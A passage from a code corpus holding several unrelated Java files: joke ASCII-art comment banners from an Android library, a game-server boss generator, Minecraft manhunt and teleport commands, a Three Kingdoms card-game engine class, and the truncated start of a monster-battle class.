* 酒醒只在网上坐,酒醉还来网下眠;
* 酒醉酒醒日复日,网上网下年复年。
* 但愿老死电脑间,不愿鞠躬老板前;
* 奔驰宝马贵者趣,公交自行程序员。
* 别人笑我忒疯癫,我笑自己命太贱;
* 不见满街漂亮妹,哪个归得程序员?
*/
/**
* _ooOoo_
* o8888888o
* 88" . "88
* (| -_- |)
* O\ = /O
* ___/`---'\____
* . ' \\| |// `.
* / \\||| : |||// \
* / _||||| -:- |||||- \
* | | \\\ - /// | |
* | \_| ''\---/'' | |
* \ .-\__ `-` ___/-. /
* ___`. .' /--.--\ `. . __
* ."" '< `.___\_<|>_/___.' >'"".
* | | : `- \`.;`\ _ /`;.`/ - ` : | |
* \ \ `-. \_ __\ /__ _/ .-` / /
* ======`-.____`-.___\_____/___.-`____.-'======
* `=---='
* .............................................
* 佛曰:bug泛滥,我已瘫痪!
*/
/**
* .::::.
* .::::::::.
* ::::::::::: Come On!
* ..:::::::::::'
* '::::::::::::'
* .::::::::::
* '::::::::::::::..
* ..::::::::::::.
* ``::::::::::::::::
* ::::``:::::::::' .:::.
* ::::' ':::::' .::::::::.
* .::::' :::: .:::::::'::::.
* .:::' ::::: .:::::::::' ':::::.
* .::' :::::.:::::::::' ':::::.
* .::' ::::::::::::::' ``::::.
* ...::: ::::::::::::' ``::.
* ```` ':. ':::::::::' ::::..
* '.:::::' ':'````..
*/
/**
* ┏┓ ┏┓
* ┏┛┻━━━┛┻┓
* ┃ ┃
* ┃ ━ ┃
* ┃ > < ┃
* ┃ ┃
* ┃... ⌒ ... ┃
* ┃ ┃
* ┗━┓ ┏━┛
* ┃ ┃
* ┃ ┃
* ┃ ┃
* ┃ ┃ 神兽保佑
* ┃ ┃ 代码无bug
* ┃ ┃
* ┃ ┗━━━┓
* ┃ ┣┓
* ┃ ┏┛
* ┗┓┓┏━┳┓┏┛
* ┃┫┫ ┃┫┫
* ┗┻┛ ┗┻┛
*/
/**
* ┏┓ ┏┓+ +
* ┏┛┻━━━┛┻┓ + +
* ┃ ┃
* ┃ ━ ┃ ++ + + +
* ████━████ ┃+
* ┃ ┃ +
* ┃ ┻ ┃
* ┃ ┃ + +
* ┗━┓ ┏━┛
* ┃ ┃
* ┃ ┃ + + + +
* ┃ ┃
* ┃ ┃ + 神兽保佑
* ┃ ┃ 代码无bug
* ┃ ┃ +
* ┃ ┗━━━┓ + +
* ┃ ┣┓
* ┃ ┏┛
* ┗┓┓┏━┳┓┏┛ + + + +
* ┃┫┫ ┃┫┫
* ┗┻┛ ┗┻┛+ + + +
*/
/**
* ━━━━━━神兽出没━━━━━━
* ┏┓ ┏┓
* ┏┛┻━━━┛┻┓
* ┃ ┃
* ┃ ━ ┃
* ┃ ┳┛ ┗┳ ┃
* ┃ ┃
* ┃ ┻ ┃
* ┃ ┃
* ┗━┓ ┏━┛
* ┃ ┃ 神兽保佑
* ┃ ┃ 代码无bug
* ┃ ┗━━━┓
* ┃ ┣┓
* ┃ ┏┛
* ┗┓┓┏━┳┓┏┛
* ┃┫┫ ┃┫┫
* ┗┻┛ ┗┻┛
* ━━━━━━感觉萌萌哒━━━━━━
*/
/**
**************************************************************
* *
* .=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-. *
* | ______ | *
* | .-" "-. | *
* | / \ | *
* | _ | | _ | *
* | ( \ |, .-. .-. ,| / ) | *
* | > "=._ | )(__/ \__)( | _.=" < | *
* | (_/"=._"=._ |/ /\ \| _.="_.="\_) | *
* | "=._"(_ ^^ _)"_.=" | *
* | "=\__|IIIIII|__/=" | *
* | _.="| \IIIIII/ |"=._ | *
* | _ _.="_.="\ /"=._"=._ _ | *
* | ( \_.="_.=" `--------` "=._"=._/ ) | *
* | > _.=" "=._ < | *
* | (_/ \_) | *
* | | *
* '-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=' *
* *
* LASCIATE OGNI SPERANZA, VOI CH'ENTRATE *
**************************************************************
*/
/**
* ,s555SB@@&
* :9H####@@@@@Xi
* 1@@@@@@@@@@@@@@8
* ,8@@@@@@@@@B@@@@@@8
* :B@@@@X3hi8Bs;B@@@@@Ah,
* ,8i r@@@B: 1S ,M@@@@@@#8;
* 1AB35.i: X@@8 . SGhr ,A@@@@@@@@S
* 1@h31MX8 18Hhh3i .i3r ,A@@@@@@@@@5
* ;@&i,58r5 rGSS: :B@@@@@@@@@@A
* 1#i . 9i hX. .: .5@@@@@@@@@@@1
* sG1, ,G53s. 9#Xi;hS5 3B@@@@@@@B1
* .h8h.,A@@@MXSs, #@H1: 3ssSSX@1
* s ,@@@@@@@@@@@@Xhi, r#@@X1s9M8 .GA981
* ,. rS8H#@@@@@@@@@@#HG51;. .h31i;9@r .8@@@@BS;i;
* .19AXXXAB@@@@@@@@@@@@@@#MHXG893hrX#XGGXM@@@@@@@@@@MS
* s@@MM@@@hsX#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&,
* :GB@#3G@@Brs ,1GM@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@B,
* .hM@@@#@@#MX 51 r;iSGAM@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@8
* :3B@@@@@@@@@@@&9@h :Gs .;sSXH@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:
* s&HA#@@@@@@@@@@@@@@M89A;.8S. ,r3@@@@@@@@@@@@@@@@@@@@@@@@@@@r
* ,13B@@@@@@@@@@@@@@@@@@@5 5B3 ;. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@i
* 5#@@#&@@@@@@@@@@@@@@@@@@9 .39: ;@@@@@@@@@@@@@@@@@@@@@@@@@@@;
* 9@@@X:MM@@@@@@@@@@@@@@@#; ;31. H@@@@@@@@@@@@@@@@@@@@@@@@@@:
* SH#@B9.rM@@@@@@@@@@@@@B :. 3@@@@@@@@@@@@@@@@@@@@@@@@@@5
* ,:. 9@@@@@@@@@@@#HB5 .M@@@@@@@@@@@@@@@@@@@@@@@@@B
* ,ssirhSM@&1;i19911i,. s@@@@@@@@@@@@@@@@@@@@@@@@@@S
* ,,,rHAri1h1rh&@#353Sh: 8@@@@@@@@@@@@@@@@@@@@@@@@@#:
* .A3hH@#5S553&@@#h i:i9S #@@@@@@@@@@@@@@@@@@@@@@@@@A.
*
*
* 产品又改需求,改你妹啊!!
*/
/**
*_______________#########_______________________
*______________############_____________________
*______________#############____________________
*_____________##__###########___________________
*____________###__######_#####__________________
*____________###_#######___####_________________
*___________###__##########_####________________
*__________####__###########_####_______________
*________#####___###########__#####_____________
*_______######___###_########___#####___________
*_______#####___###___########___######_________
*______######___###__###########___######_______
*_____######___####_##############__######______
*____#######__#####################_#######_____
*____#######__##############################____
*___#######__######_#################_#######___
*___#######__######_######_#########___######___
*___#######____##__######___######_____######___
*___#######________######____#####_____#####____
*____######________#####_____#####_____####_____
*_____#####________####______#####_____###______
*______#####______;###________###______#________
*________##_______####________####______________
*/
/**
* 頂頂頂頂頂頂頂頂頂 頂頂頂頂頂頂頂頂頂
* 頂頂頂頂頂頂頂 頂頂
* 頂頂 頂頂頂頂頂頂頂頂頂頂頂
* 頂頂 頂頂頂頂頂頂頂頂頂頂頂
* 頂頂 頂頂 頂頂
* 頂頂 頂頂 頂頂頂 頂頂
* 頂頂 頂頂 頂頂頂 頂頂
* 頂頂 頂頂 頂頂頂 頂頂
* 頂頂 頂頂 頂頂頂 頂頂
* 頂頂 頂頂頂
* 頂頂 頂頂 頂頂 頂頂
* 頂頂頂頂 頂頂頂頂頂 頂頂頂頂頂
* 頂頂頂頂 頂頂頂頂 頂頂頂頂
*/
/**
* 1只羊 == one sheep
* 2只羊 == two sheeps
* 3只羊 == three sheeps
* 4只羊 == four sheeps
* 5只羊 == five sheeps
* 6只羊 == six sheeps
* 7只羊 == seven sheeps
* 8只羊 == eight sheeps
* 9只羊 == nine sheeps
* 10只羊 == ten sheeps
* 11只羊 == eleven sheeps
* 12只羊 == twelve sheeps
* 13只羊 == thirteen sheeps
* 14只羊 == fourteen sheeps
* 15只羊 == fifteen sheeps
* 16只羊 == sixteen sheeps
* 17只羊 == seventeen sheeps
* 18只羊 == eighteen sheeps
* 19只羊 == nineteen sheeps
* 20只羊 == twenty sheeps
* 21只羊 == twenty one sheeps
* 22只羊 == twenty two sheeps
* 23只羊 == twenty three sheeps
* 24只羊 == twenty four sheeps
* 25只羊 == twenty five sheeps
* 26只羊 == twenty six sheeps
* 27只羊 == twenty seven sheeps
* 28只羊 == twenty eight sheeps
* 29只羊 == twenty nine sheeps
* 30只羊 == thirty sheeps
* 现在瞌睡了吧,好了,不要再改下面的代码了,睡觉咯~~
*/
/**
* For the brave souls who get this far: You are the chosen ones,
* the valiant knights of programming who toil away, without rest,
* fixing our most awful code. To you, true saviors, kings of men,
* I say this: never gonna give you up, never gonna let you down,
* never gonna run around and desert you. Never gonna make you cry,
* never gonna say goodbye. Never gonna tell a lie and hurt you.
*
* 致终于来到这里的勇敢的人:
* 你是被上帝选中的人,是英勇的、不敌辛苦的、不眠不休的来修改我们这最棘手的代码的编程骑士。
* 你,我们的救世主,人中之龙,我要对你说:永远不要放弃,永远不要对自己失望,永远不要逃走,辜负了自己,
* 永远不要哭啼,永远不要说再见,永远不要说谎来伤害自己。
*/
/**
* When I wrote this, only God and I understood what I was doing
* Now, God only knows
*
* 写这段代码的时候,只有上帝和我知道它是干嘛的
* 现在,只有上帝知道
*/
/**
* Here be dragons
* 前方高能
*/
}
| duboAndroid/RxTools-master | RxTools-library/src/main/java/com/vondear/rxtools/RxNote.java |
65,394 | package cn.mxz.shenmo;
import cn.javaplus.util.Util;
import cn.mxz.RandomEventRappelzTemplet;
import cn.mxz.RandomEventRappelzTempletConfig;
import cn.mxz.city.City;
import cn.mxz.util.counter.CounterKey;
import db.dao.impl.DaoFactory;
import db.domain.BossData;
/**
* 根据玩家等级从配置表返回神魔的相关属性
* @author Administrator
*
*/
public class GenShenmo {
BossData gen(City user) {
BossData bd = DaoFactory.getBossDataDao().createDTO();
RandomEventRappelzTemplet templet = null;
if (user.getUserCounterHistory().get(CounterKey.SHENMO_HAS_FIRST_SHOW) == 0) {
templet = RandomEventRappelzTempletConfig.get(1);
} else {
int level = user.getLevel();
for (RandomEventRappelzTemplet t : RandomEventRappelzTempletConfig.getAll()) {
int[] levels = Util.Array.toIntegerArray(t.getProtagonistLv());
if (level >= levels[0] && level <= levels[1]) {
templet = t;
break;
}
}
}
if (templet == null) {
return null;
}
bd.setLevel(calcBossLevel(templet));
bd.setBossTempletId(calcBossId(templet));
if( user.getUserCounterHistory().get(CounterKey.SHENMO_HAS_FIRST_SHOW) == 0 ){//引导期间第一次发现神魔不能让他逃走
int foundSecond = (int) (System.currentTimeMillis() / 1000);
foundSecond += 24 * 3600;//后移动24个小时
bd.setFoundTime( foundSecond );
}
else{
bd.setFoundTime((int) (System.currentTimeMillis() / 1000));
}
bd.setUname(user.getId());
bd.setIsShared(false);
return bd;
}
private int calcBossId(RandomEventRappelzTemplet t) {
return calcRandom( t.getRappelzId() );
}
private int calcBossLevel(RandomEventRappelzTemplet t) {
return calcRandom( t.getRappelzLv() );
}
/**
* 把用逗号分隔的字符串转换为整型数组,再从此数组中随机选取一个
* @param content
* @return
*/
private int calcRandom( String content ){
int[] arr = Util.Array.toIntegerArray( content );
int randomIndex = Util.Random.getRandomIndex(arr);
return arr[randomIndex];
}
}
| fantasylincen/javaplus | mxz-ttafs-server/ai/cn/mxz/shenmo/GenShenmo.java |
65,397 |
package si.f5.actedsauce.manhuntmc.manhuntmc;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import static si.f5.actedsauce.manhuntmc.manhuntmc.ManhuntMC.LINE;
public class ManhuntInitCommand implements CommandExecutor {
@Override
public boolean onCommand(CommandSender sender,Command command,String label,String[] args) {
if(command.getName().equalsIgnoreCase("manhuntinit"))
{
if(ManhuntMC.instance().ManhuntInitializing())
{
Bukkit.broadcastMessage(LINE+"\nチーム分けを終了。\n"+ LINE);
ManhuntMC.instance().ManhuntInitializing(false);
}
else
{
Bukkit.broadcastMessage
(LINE+"\nチーム分けを開始。"+"\n"+ ChatColor.RED+"鬼になる場合は「hunter」、"+ChatColor.AQUA+"逃走者になる場合は「runner」"+ChatColor.RESET+"とチャットに打ち込んでください。自動でチーム分けします。"+"\n"+"⚠コマンドではなく、チャットに直接打ち込んでください。\n"+ LINE);
ManhuntMC.instance().ManhuntInitializing(true);
}
return true;
}
return false;
}
public void onDisable()
{
}
}
| minecraftacted/ManhuntMC | src/main/java/si/f5/actedsauce/manhuntmc/manhuntmc/ManhuntInitCommand.java |
65,398 | package com.gaas.threeKingdoms;
import com.gaas.threeKingdoms.behavior.Behavior;
import com.gaas.threeKingdoms.behavior.PlayCardBehaviorHandler;
import com.gaas.threeKingdoms.behavior.handler.*;
import com.gaas.threeKingdoms.effect.EightDiagramTacticEquipmentEffectHandler;
import com.gaas.threeKingdoms.effect.EquipmentEffectHandler;
import com.gaas.threeKingdoms.events.*;
import com.gaas.threeKingdoms.gamephase.*;
import com.gaas.threeKingdoms.generalcard.GeneralCard;
import com.gaas.threeKingdoms.generalcard.GeneralCardDeck;
import com.gaas.threeKingdoms.handcard.*;
import com.gaas.threeKingdoms.player.BloodCard;
import com.gaas.threeKingdoms.player.Hand;
import com.gaas.threeKingdoms.player.HealthStatus;
import com.gaas.threeKingdoms.player.Player;
import com.gaas.threeKingdoms.rolecard.Role;
import com.gaas.threeKingdoms.rolecard.RoleCard;
import com.gaas.threeKingdoms.round.Round;
import com.gaas.threeKingdoms.round.RoundPhase;
import com.gaas.threeKingdoms.utils.ShuffleWrapper;
import lombok.AllArgsConstructor;
import lombok.Builder;
import java.util.*;
import java.util.stream.Collectors;
@Builder
@AllArgsConstructor
public class Game {
private String gameId;
private List<Player> players;
private final GeneralCardDeck generalCardDeck = new GeneralCardDeck();
private Deck deck = new Deck();
private Graveyard graveyard = new Graveyard();
private SeatingChart seatingChart;
private Round currentRound;
private GamePhase gamePhase;
private List<Player> winners;
private PlayCardBehaviorHandler playCardHandler;
private Stack<Behavior> topBehavior = new Stack<>();
private EquipmentEffectHandler equipmentEffectHandler;
public Game(String gameId, List<Player> players) {
equipmentEffectHandler = new EightDiagramTacticEquipmentEffectHandler(null, this);
playCardHandler = new DyingAskPeachBehaviorHandler(new PeachBehaviorHandler(new NormalActiveKillBehaviorHandler(new MinusMountsBehaviorHandler(new PlusMountsBehaviorHandler(new RepeatingCrossbowBehaviorHandler(new EightDiagramTacticBehaviorHandler(null, this), this), this), this), this), this), this);
setGameId(gameId);
setPlayers(players);
enterPhase(new Initial(this));
}
public Game() {
playCardHandler = new DyingAskPeachBehaviorHandler(new PeachBehaviorHandler(new NormalActiveKillBehaviorHandler(new MinusMountsBehaviorHandler(new PlusMountsBehaviorHandler(new RepeatingCrossbowBehaviorHandler(new EightDiagramTacticBehaviorHandler(null, this), this), this), this), this), this), this);
equipmentEffectHandler = new EightDiagramTacticEquipmentEffectHandler(null, this);
}
public String getMonarchPlayerId() {
return players.stream()
.filter(p -> Role.MONARCH.equals(p.getRoleCard().getRole()))
.findFirst()
.map(Player::getId)
.orElseThrow(IllegalArgumentException::new);
}
public GeneralCardDeck getGeneralCardDeck() {
return generalCardDeck;
}
public void assignRoles() {
if (players.size() < 4) {
throw new IllegalStateException("The number of players must bigger than 4.");
}
List<RoleCard> roleCards = Arrays.stream(RoleCard.ROLES.get(players.size())).collect(Collectors.toList());
ShuffleWrapper.shuffle(roleCards);
for (int i = 0; i < roleCards.size(); i++) {
players.get(i).setRoleCard(roleCards.get(i));
}
}
public GetMonarchGeneralCardsEvent getMonarchCanChooseGeneralCards() {
GeneralCardDeck generalCardDeck = getGeneralCardDeck();
List<GeneralCard> generalCards = generalCardDeck.drawGeneralCards(5);
return new GetMonarchGeneralCardsEvent(generalCards);
}
public List<DomainEvent> monarchChoosePlayerGeneral(String playerId, String generalId) {
Player player = getPlayer(playerId);
if (!player.getRoleCard().getRole().equals(Role.MONARCH)) {
throw new RuntimeException(String.format("Player Id %s not MONARCH.", playerId));
}
GeneralCard generalCard = GeneralCard.generals.get(generalId);
player.setGeneralCard(generalCard);
DomainEvent monarchChooseGeneralCardEvent = new MonarchChooseGeneralCardEvent(generalCard, String.format("主公已選擇 %s", generalCard.getGeneralName()), gameId, players.stream().map(Player::getId).collect(Collectors.toList()));
List<DomainEvent> getGeneralCardEventByOthers = getOtherCanChooseGeneralCards();
getGeneralCardEventByOthers.add(monarchChooseGeneralCardEvent);
return getGeneralCardEventByOthers;
}
public List<DomainEvent> othersChoosePlayerGeneral(String playerId, String generalId) {
Player player = getPlayer(playerId);
GeneralCard generalCard = GeneralCard.generals.get(generalId);
player.setGeneralCard(generalCard);
if (players.stream().anyMatch(currentPlayer -> currentPlayer.getGeneralCard() == null)) {
return Collections.emptyList();
}
assignHpToPlayers();
assignHandCardToPlayers();
currentRound = new Round(
players.stream()
.filter(currentPlayer -> currentPlayer.getRoleCard().getRole().equals(Role.MONARCH))
.findFirst()
.orElseThrow(() -> new IllegalStateException("還有沒有玩家是主公,請確認主公狀態"))
);
this.enterPhase(new Normal(this));
RoundEvent roundEvent = new RoundEvent(currentRound);
List<PlayerEvent> playerEvents = players.stream().map(p ->
new PlayerEvent(p.getId(),
p.getGeneralCard().getGeneralId(),
p.getRoleCard().getRole().getRoleName(),
p.getHP(),
new HandEvent(p.getHandSize(), p.getHand().getCards().stream().map(handCard -> handCard.getId()).collect(Collectors.toList())),
p.getEquipment().getAllEquipmentCardIds(),
Collections.emptyList())).toList();
DomainEvent initialEndEvent = new InitialEndEvent(gameId, playerEvents, roundEvent, this.getGamePhase().getPhaseName());
List<DomainEvent> domainEvents = playerTakeTurn(getCurrentRoundPlayer());
List<DomainEvent> combineEvents = new ArrayList<>(List.of(initialEndEvent));
combineEvents.addAll(domainEvents);
return combineEvents;
}
private List<DomainEvent> playerTakeTurn(Player currentRoundPlayer) {
DomainEvent roundStartEvent = new RoundStartEvent();
DomainEvent judgeEvent = judgePlayerShouldDelay();
DomainEvent drawCardEvent = drawCardToPlayer(currentRoundPlayer);
return List.of(roundStartEvent, judgeEvent, drawCardEvent);
}
private List<DomainEvent> getOtherCanChooseGeneralCards() {
return players.stream()
.filter(p -> !p.getRoleCard().getRole().equals(Role.MONARCH))
.map(p -> {
List<GeneralCard> generalCards = generalCardDeck.drawGeneralCards(3);
return new GetGeneralCardByOthersEvent(p.getId(), generalCards);
}).collect(Collectors.toList());
}
public void assignHpToPlayers() {
players.forEach(p -> {
int healthPoint = p.getRoleCard().getRole().equals(Role.MONARCH) ? 1 : 0;
int maxHp = p.getGeneralCard().getHealthPoint() + healthPoint;
p.setBloodCard(new BloodCard(maxHp));
p.setHealthStatus(HealthStatus.ALIVE);
});
}
//連 websocket Server 做好狀態推給前端 ?
public void assignHandCardToPlayers() {
players.forEach(player -> {
player.setHand(new Hand());
player.getHand().setCards(deck.deal(4));
});
}
@Override
public String toString() {
return super.toString();
}
public DomainEvent drawCardToPlayer(Player player) {
refreshDeckWhenCardsNumLessThen(2);
int size = calculatePlayerCanDrawCardSize(player);
List<HandCard> cards = deck.deal(size);
player.getHand().addCardToHand(cards);
currentRound.setRoundPhase(RoundPhase.Action);
List<String> cardIds = cards.stream().map(HandCard::getId).collect(Collectors.toList());
String message = String.format("玩家 %s 抽了 %d 張牌", player.getId(), size);
List<PlayerEvent> playerEvents = players.stream().map(p ->
new PlayerEvent(p.getId(),
p.getGeneralCard().getGeneralId(),
p.getRoleCard().getRole().getRoleName(),
p.getHP(),
new HandEvent(p.getHandSize(), p.getHand().getCards().stream().map(HandCard::getId).collect(Collectors.toList())),
p.getEquipment().getAllEquipmentCardIds(),
Collections.emptyList())).toList();
RoundEvent roundEvent = new RoundEvent(
currentRound.getRoundPhase().toString(),
currentRound.getCurrentRoundPlayer().getId(),
Optional.ofNullable(currentRound.getActivePlayer()).map(Player::getId).orElse(""),
Optional.ofNullable(currentRound.getDyingPlayer()).map(Player::getId).orElse(""),
currentRound.isShowKill()
);
return new DrawCardEvent(
size,
cardIds,
message,
gameId,
playerEvents,
roundEvent,
gamePhase.getPhaseName(),
player.getId()
);
}
private int calculatePlayerCanDrawCardSize(Player player) {
return 2;
}
private void refreshDeckWhenCardsNumLessThen(int requiredCardNumber) {
if (isDeckLessThanCardNum(requiredCardNumber)) deck.add(graveyard.getGraveYardCards());
}
private boolean isDeckLessThanCardNum(int requiredCardNum) {
return deck.isDeckLessThanCardNum(requiredCardNum);
}
public void setGraveyard(Graveyard graveyard) {
this.graveyard = graveyard;
}
public List<DomainEvent> playerPlayCard(String playerId, String cardId, String targetPlayerId, String playType) {
PlayType.checkPlayTypeIsValid(playType);
if (!topBehavior.isEmpty()) {
Behavior behavior = topBehavior.peek();
// List<DomainEvent> effectEvents = Optional.ofNullable(effectHandler.handle(playerId,cardId, targetPlayerId, PlayType.getPlayType(playType))).orElse(new ArrayList<>());
List<DomainEvent> acceptedEvent = behavior.acceptedTargetPlayerPlayCard(playerId, targetPlayerId, cardId, playType); //throw Exception When isNotValid
if (behavior.isOneRound()) {
topBehavior.pop();
// currentRound.setActivePlayer(null);
} else {
// 把新打出的牌加到 stack ,如果是使用裝備卡則不會放入
updateTopBehavior(playCardHandler.handle(playerId, cardId, List.of(targetPlayerId), playType));
}
// effectEvents.addAll(acceptedEvent);
return acceptedEvent;
}
Behavior behavior = playCardHandler.handle(playerId, cardId, List.of(targetPlayerId), playType);
if (behavior.isTargetPlayerNeedToResponse()) {
updateTopBehavior(behavior);
}
List<DomainEvent> events = behavior.askTargetPlayerPlayCard();
return events;
}
public List<DomainEvent> playerUseEquipment(String playerId, String cardId, String targetPlayerId, EquipmentPlayType playType) {
return Optional.ofNullable(equipmentEffectHandler.handle(playerId, cardId, targetPlayerId, playType)).orElse(new ArrayList<>());
}
public void playerDeadSettlement() {
Player deathPlayer = currentRound.getDyingPlayer();
if (deathPlayer.getRoleCard().getRole().equals(Role.MONARCH)) {
this.enterPhase(new GameOver(this));
gamePhase.execute();
// TODO 主動推反賊獲勝訊息給前端
}
}
public void judgementHealthStatus(Player targetPlayer) {
if (targetPlayer.getHP() <= 0) {
targetPlayer.setHealthStatus(HealthStatus.DYING);
currentRound.setActivePlayer(targetPlayer);
currentRound.setDyingPlayer(targetPlayer);
this.enterPhase(new GeneralDying(this));
askActivePlayerPlayPeachCard();
}
}
public boolean isInAttackRange(Player player, Player targetPlayer) {
// 攻擊距離 >= 基礎距離(座位表) + 逃走距離
int dist = seatingChart.calculateDistance(player, targetPlayer);
int escapeDist = targetPlayer.judgeEscapeDistance();
int attackDist = player.judgeAttackDistance();
return attackDist >= dist + escapeDist;
}
public List<DomainEvent> finishAction(String playerId) {
List<DomainEvent> domainEvents = new ArrayList<>();
Player currentRoundPlayer = currentRound.getCurrentRoundPlayer();
if (currentRoundPlayer == null || !playerId.equals(currentRoundPlayer.getId())) {
throw new IllegalStateException(String.format("currentRound is null or current player not %s", playerId));
}
resetActivePlayer();
List<PlayerEvent> playerEvents = players.stream().map(p ->
new PlayerEvent(p.getId(),
p.getGeneralCard().getGeneralId(),
p.getRoleCard().getRole().getRoleName(),
p.getHP(),
new HandEvent(p.getHandSize(), p.getHand().getCards().stream().map(HandCard::getId).collect(Collectors.toList())),
p.getEquipment().getAllEquipmentCardIds(),
Collections.emptyList())).toList();
currentRound.setRoundPhase(RoundPhase.Discard);
RoundEvent roundEvent = new RoundEvent(currentRound);
FinishActionEvent finishActionEvent = new FinishActionEvent();
int currentRoundPlayerDiscardCount = getCurrentRoundPlayerDiscardCount();
String notifyMessage = String.format("玩家 %s 需要棄 %d 張牌", currentRoundPlayer.getId(), currentRoundPlayerDiscardCount);
NotifyDiscardEvent notifyDiscardEvent = new NotifyDiscardEvent(notifyMessage, currentRoundPlayerDiscardCount, playerId, currentRoundPlayer.getId(), gameId, playerEvents, roundEvent, gamePhase.getPhaseName());
domainEvents.add(finishActionEvent);
domainEvents.add(notifyDiscardEvent);
if (currentRoundPlayerDiscardCount == 0) {
domainEvents.add(new RoundEndEvent());
List<DomainEvent> nextRoundDomainEvents = goNextRound(currentRoundPlayer);
domainEvents.addAll(nextRoundDomainEvents);
}
return domainEvents;
}
private void resetActivePlayer() {
currentRound.setActivePlayer(null);
}
public RoundPhase getCurrentRoundPhase() {
return currentRound.getRoundPhase();
}
public Player getCurrentRoundPlayer() {
return currentRound.getCurrentRoundPlayer();
}
private DomainEvent judgePlayerShouldDelay() {
Player player = currentRound.getCurrentRoundPlayer();
if (!player.hasAnyDelayScrollCard()) {
currentRound.setRoundPhase(RoundPhase.Drawing);
}
return new JudgementEvent();
}
public int getCurrentRoundPlayerDiscardCount() {
Player player = currentRound.getCurrentRoundPlayer();
if (!currentRound.getRoundPhase().equals(RoundPhase.Discard)) {
throw new RuntimeException();
}
return player.getDiscardCount();
}
public List<DomainEvent> playerDiscardCard(List<String> cardIds) {
Player player = currentRound.getCurrentRoundPlayer();
int needToDiscardSize = player.getHandSize() - player.getHP();
if (cardIds.size() < needToDiscardSize) throw new RuntimeException();
// todo 判斷這個玩家是否有這些牌
List<HandCard> discardCards = player.discardCards(cardIds);
graveyard.add(discardCards);
String message = String.format("玩家 %s 棄牌", player.getId());
DomainEvent discardEvent = new DiscardEvent(discardCards, message, player.getId());
List<DomainEvent> nextRoundEvent = new ArrayList<>(goNextRound(player));
nextRoundEvent.add(discardEvent);
nextRoundEvent.add(new RoundEndEvent());
return nextRoundEvent;
}
private List<DomainEvent> goNextRound(Player player) {
Player nextPlayer = seatingChart.getNextPlayer(player);
currentRound = new Round(nextPlayer);
return playerTakeTurn(nextPlayer);
}
public void askActivePlayerPlayPeachCard() {
// TODO 通知玩家要出桃
}
public void updateRoundInformation(Player targetPlayer, HandCard card) {
currentRound.setActivePlayer(targetPlayer);
currentRound.setCurrentPlayCard(card);
}
public String createGameOverMessage() {
Player deadPlayer = players.stream().filter(player -> player.getHP() == 0).findFirst().get();
String gameOverMessage = "";
if (deadPlayer.getRoleCard().getRole() == Role.MONARCH) {
for (Player player : players) {
gameOverMessage += player.getId() + " " + player.getRoleCard().getRole().getRoleName() + "\n";
}
gameOverMessage += "反賊獲勝";
}
return gameOverMessage;
}
public SeatingChart getSeatingChart() {
return seatingChart;
}
public List<Player> getWinners() {
return winners;
}
public void setWinners(List<Player> winners) {
this.winners = winners;
}
public GamePhase getGamePhase() {
return gamePhase;
}
public String getGameId() {
return gameId;
}
public void setGameId(String gameId) {
this.gameId = gameId;
}
public List<Player> getPlayers() {
return players;
}
public Graveyard getGraveyard() {
return graveyard;
}
public Round getCurrentRound() {
return currentRound;
}
public void setCurrentRound(Round currentRound) {
this.currentRound = currentRound;
}
public void setPlayers(List<Player> players) {
this.players = players;
seatingChart = new SeatingChart(players);
}
public void setDeck(Deck deck) {
this.deck = deck;
}
public Player getPlayer(String playerId) {
return players.stream().filter(p -> p.getId().equals(playerId)).findFirst().orElseThrow();
}
public Player getActivePlayer() {
return currentRound.getActivePlayer();
}
public Player getPrePlayer(Player player) {
return seatingChart.getPrePlayer(player);
}
public Player getNextPlayer(Player player) {
return seatingChart.getNextPlayer(player);
}
public void enterPhase(GamePhase gamePhase) {
this.gamePhase = gamePhase;
}
public Behavior peekTopBehavior() {
return topBehavior.peek();
}
public void removeTopBehavior() {
topBehavior.pop();
}
public void updateTopBehavior(Behavior behavior) {
if (behavior != null)
topBehavior.add(behavior);
}
public boolean isTopBehaviorEmpty() {
return topBehavior.empty();
}
public HandCard drawCardForEightDiagramTactic() {
refreshDeckWhenCardsNumLessThen(1);
List<HandCard> cards = deck.deal(1);
return cards.get(0);
}
}
| Game-as-a-Service/Legends-of-The-Three-Kingdoms | LegendsOfTheThreeKingdoms/domain/src/main/java/com/gaas/threeKingdoms/Game.java |
65,401 | package com.ur.onigokko.commands;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import com.ur.onigokko.Main;
import com.ur.onigokko.Variables;
import com.ur.onigokko.onigokko;
public class RedTeamTeleportCommand implements CommandExecutor {
private Main plugin;
private onigokko ongk;
CommandSender sender;
String[] args;
public RedTeamTeleportCommand(Main plugin)
{
this.plugin = plugin;
ongk = plugin.getOnigokko();
}
@Override
public boolean onCommand(CommandSender sender, Command cmd, String label,
String[] args) {
this.sender = sender;
this.args = args;
if(plugin.getStartState())
{
if(args != null)
{
if(args.length < 3)
{
sender.sendMessage(Variables.MESSAGE_ValidArgument);
return false;
}
if(sender instanceof Player)
{
Player player = (Player)sender;
if(player.isOp() || player.hasPermission("onigokko.gm"))
{
perform();
return true;
}else{
sender.sendMessage(Variables.MESSAGE_NotHavePermission);
return true;
}
}else{
perform();
return true;
}
}else{
sender.sendMessage(Variables.MESSAGE_ValidArgument);
return false;
}
} else{
sender.sendMessage(Variables.MESSAGE_NotStartedGame);
return true;
}
}
public void perform()
{
Double x = Double.parseDouble(args[0]);
Double y = Double.parseDouble(args[1]);
Double z = Double.parseDouble(args[2]);
ongk.redTeamTP(x, y, z);
sender.sendMessage("逃走者チームをテレポートしました");
}
}
| rtc5200/koorioniEvent | src/com/ur/onigokko/commands/RedTeamTeleportCommand.java |
65,402 | package churimon;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
class BattleWild {
//フィールド(定数)
final int ESCAPE_SUCCESS_ST_RATE = 50 ; //「にげる」成功率の基準値(50%)
//やせいのモンスターとのバトル
public void mainBattle () {
//バトル相手をインスタンス化
